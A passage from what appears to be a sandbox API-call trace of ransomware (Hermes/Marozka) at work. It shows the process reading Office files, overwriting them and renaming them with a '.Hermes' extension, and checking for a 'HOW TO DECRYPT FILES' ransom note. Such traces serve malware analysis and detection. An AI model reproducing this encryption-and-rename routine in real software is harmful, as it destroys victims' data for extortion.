lpBuffer="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx.Hermes", lpFilePart=0x0) returned 0x32 [0091.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0091.975] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\uzftfgr0j-cg.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4a9e2d0, ftCreationTime.dwHighDateTime=0x1d4ade0, ftLastAccessTime.dwLowDateTime=0xaa580590, ftLastAccessTime.dwHighDateTime=0x1d4d822, ftLastWriteTime.dwLowDateTime=0xb0498a24, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x156c0)) returned 1 [0091.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0091.975] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\uzftfgr0j-cg.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\uZFTfGR0J-cG.pptx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\uzftfgr0j-cg.pptx.hermes")) returned 1 [0091.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx", lpFilePart=0x0) returned 0x32 [0091.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0091.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\v2owp_gc8aht3d4ngyy.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.976] GetFileType (hFile=0x304) returned 0x1 [0091.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0091.976] GetFileType (hFile=0x304) returned 0x1 [0091.976] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xd73 [0091.976] ReadFile (in: hFile=0x304, lpBuffer=0x3096628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3096628*, lpNumberOfBytesRead=0x19e3dc*=0xd73, lpOverlapped=0x0) returned 1 [0091.976] CloseHandle (hObject=0x304) returned 1 [0092.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0092.001] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0092.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx", lpFilePart=0x0) returned 0x32 [0092.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0092.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\v2owp_gc8aht3d4ngyy.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.002] GetFileType (hFile=0x304) returned 0x1 [0092.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0092.002] GetFileType (hFile=0x304) returned 0x1 [0092.002] WriteFile (in: hFile=0x304, lpBuffer=0x30e8ab0*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x19e3a4, lpOverlapped=0x0 | out: lpBuffer=0x30e8ab0*, lpNumberOfBytesWritten=0x19e3a4*=0xd80, lpOverlapped=0x0) returned 1 [0092.003] CloseHandle (hObject=0x304) returned 1 [0092.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx", lpFilePart=0x0) returned 0x32 [0092.004] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx.Hermes", lpFilePart=0x0) returned 0x39 [0092.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0092.004] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\v2owp_gc8aht3d4ngyy.docx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46ec720, ftCreationTime.dwHighDateTime=0x1d4e855, ftLastAccessTime.dwLowDateTime=0xb2524e20, ftLastAccessTime.dwHighDateTime=0x1d48649, ftLastWriteTime.dwLowDateTime=0xb04e4e42, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0092.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0092.004] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx" (normalized: "c:\\users\\fd1hvy\\documents\\v2owp_gc8aht3d4ngyy.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\v2OWp_Gc8AHT3d4nGyy.docx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\v2owp_gc8aht3d4ngyy.docx.hermes")) returned 1 [0092.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx", lpFilePart=0x0) returned 0x26 [0092.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0092.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\v_zl34r.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.005] GetFileType (hFile=0x304) returned 0x1 [0092.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0092.005] GetFileType (hFile=0x304) returned 0x1 [0092.005] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x816a [0092.005] ReadFile (in: hFile=0x304, lpBuffer=0x30e9d44, nNumberOfBytesToRead=0x816a, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x30e9d44*, lpNumberOfBytesRead=0x19e3dc*=0x816a, lpOverlapped=0x0) returned 1 [0092.005] CloseHandle (hObject=0x304) returned 1 [0092.021] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0092.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0092.021] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx", lpFilePart=0x0) returned 0x26 [0092.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0092.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\v_zl34r.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.022] GetFileType (hFile=0x304) returned 0x1 [0092.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0092.023] GetFileType (hFile=0x304) returned 0x1 [0092.023] WriteFile (in: hFile=0x304, lpBuffer=0x315f260*, nNumberOfBytesToWrite=0x8170, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x315f260*, lpNumberOfBytesWritten=0x19e3d0*=0x8170, lpOverlapped=0x0) returned 1 [0092.027] CloseHandle (hObject=0x304) returned 1 [0092.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx", lpFilePart=0x0) returned 0x26 [0092.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx.Hermes", lpFilePart=0x0) returned 0x2d [0092.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0092.029] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\v_zl34r.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d97c50, ftCreationTime.dwHighDateTime=0x1d4aa71, ftLastAccessTime.dwLowDateTime=0xc42b640, ftLastAccessTime.dwHighDateTime=0x1d4c25e, ftLastWriteTime.dwLowDateTime=0xb0531304, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x8170)) returned 1 [0092.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0092.029] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\v_zl34r.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\V_Zl34r.xlsx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\v_zl34r.xlsx.hermes")) returned 1 [0092.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx", lpFilePart=0x0) returned 0x2a [0092.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0092.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\x7xxxdvkkai.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.030] GetFileType (hFile=0x304) returned 0x1 [0092.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0092.030] GetFileType (hFile=0x304) returned 0x1 [0092.030] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x2a34 [0092.030] ReadFile (in: hFile=0x304, lpBuffer=0x3167900, nNumberOfBytesToRead=0x2a34, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3167900*, lpNumberOfBytesRead=0x19e3dc*=0x2a34, lpOverlapped=0x0) returned 1 [0092.030] CloseHandle (hObject=0x304) returned 1 [0092.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0092.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0092.047] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx", lpFilePart=0x0) returned 0x2a [0092.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0092.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\x7xxxdvkkai.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.048] GetFileType (hFile=0x304) returned 0x1 [0092.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0092.048] GetFileType (hFile=0x304) returned 0x1 [0092.048] WriteFile (in: hFile=0x304, lpBuffer=0x31c1a28*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x31c1a28*, lpNumberOfBytesWritten=0x19e3d0*=0x2a40, lpOverlapped=0x0) returned 1 [0092.049] CloseHandle (hObject=0x304) returned 1 [0092.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx", lpFilePart=0x0) returned 0x2a [0092.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx.Hermes", lpFilePart=0x0) returned 0x31 [0092.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0092.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\x7xxxdvkkai.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b7549c0, ftCreationTime.dwHighDateTime=0x1d4b207, ftLastAccessTime.dwLowDateTime=0xf6c7a0e0, ftLastAccessTime.dwHighDateTime=0x1d49ca2, ftLastWriteTime.dwLowDateTime=0xb0557568, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x2a40)) returned 1 [0092.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0092.050] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\x7xxxdvkkai.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\X7xxXdVkKAI.pptx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\x7xxxdvkkai.pptx.hermes")) returned 1 [0092.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx", lpFilePart=0x0) returned 0x2b [0092.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0092.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xpmgmpcch3uv.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.051] GetFileType (hFile=0x304) returned 0x1 [0092.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0092.051] GetFileType (hFile=0x304) returned 0x1 [0092.051] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0xd123 [0092.051] ReadFile (in: hFile=0x304, lpBuffer=0x31c49c0, nNumberOfBytesToRead=0xd123, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x31c49c0*, lpNumberOfBytesRead=0x19e3dc*=0xd123, lpOverlapped=0x0) returned 1 [0092.051] CloseHandle (hObject=0x304) returned 1 [0092.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0092.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0092.114] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0092.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0092.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx", lpFilePart=0x0) returned 0x2b [0092.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0092.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xpmgmpcch3uv.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0092.116] GetFileType (hFile=0x304) returned 0x1 [0092.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0092.116] GetFileType (hFile=0x304) returned 0x1 [0092.116] WriteFile (in: hFile=0x304, lpBuffer=0x3238b50*, nNumberOfBytesToWrite=0xd130, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x3238b50*, lpNumberOfBytesWritten=0x19e3d0*=0xd130, lpOverlapped=0x0) returned 1 [0092.118] CloseHandle (hObject=0x304) returned 1 [0092.120] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx", lpFilePart=0x0) returned 0x2b [0092.120] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx.Hermes", lpFilePart=0x0) returned 0x32 [0092.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0092.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xpmgmpcch3uv.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34510cf0, ftCreationTime.dwHighDateTime=0x1d4fc05, ftLastAccessTime.dwLowDateTime=0x8899ce00, ftLastAccessTime.dwHighDateTime=0x1d4dd6a, ftLastWriteTime.dwLowDateTime=0xb061612c, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xd130)) returned 1 [0092.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0092.120] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xpmgmpcch3uv.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\xpmGmPcch3uV.xlsx.Hermes" (normalized: "c:\\users\\fd1hvy\\documents\\xpmgmpcch3uv.xlsx.hermes")) returned 1 [0092.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0092.121] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh", lpFilePart=0x0) returned 0x28 [0092.121] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31363e70, ftCreationTime.dwHighDateTime=0x1d4d3ef, ftLastAccessTime.dwLowDateTime=0xc4063000, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, ftLastWriteTime.dwLowDateTime=0xc4063000, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfdb230 [0092.121] FindNextFileW (in: hFindFile=0xfdb230, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31363e70, ftCreationTime.dwHighDateTime=0x1d4d3ef, ftLastAccessTime.dwLowDateTime=0xc4063000, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, ftLastWriteTime.dwLowDateTime=0xc4063000, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.122] FindNextFileW (in: hFindFile=0xfdb230, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619f1890, ftCreationTime.dwHighDateTime=0x1d4c5a1, ftLastAccessTime.dwLowDateTime=0x90479480, ftLastAccessTime.dwHighDateTime=0x1d4cd8d, ftLastWriteTime.dwLowDateTime=0x90479480, ftLastWriteTime.dwHighDateTime=0x1d4cd8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iPxRamNOgEfL6vt-WkOO", cAlternateFileName="IPXRAM~1")) returned 1 [0092.122] FindNextFileW (in: hFindFile=0xfdb230, lpFindFileData=0x19df30 | out: lpFindFileData=0x19df30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619f1890, ftCreationTime.dwHighDateTime=0x1d4c5a1, ftLastAccessTime.dwLowDateTime=0x90479480, ftLastAccessTime.dwHighDateTime=0x1d4cd8d, ftLastWriteTime.dwLowDateTime=0x90479480, ftLastWriteTime.dwHighDateTime=0x1d4cd8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iPxRamNOgEfL6vt-WkOO", cAlternateFileName="IPXRAM~1")) returned 0 [0092.122] FindClose (in: hFindFile=0xfdb230 | out: hFindFile=0xfdb230) returned 1 [0092.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1b8) returned 1 [0092.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e1c4) returned 1 [0092.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e1fc) returned 1 [0092.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh", nBufferLength=0x105, lpBuffer=0x19dcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh", lpFilePart=0x0) returned 0x28 [0092.122] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\kqnw_pPQeZHhvh\\*", lpFindFileData=0x19df24 | out: lpFindFileData=0x19df24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31363e70, ftCreationTime.dwHighDateTime=0x1d4d3ef, ftLastAccessTime.dwLowDateTime=0xc4063000, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, 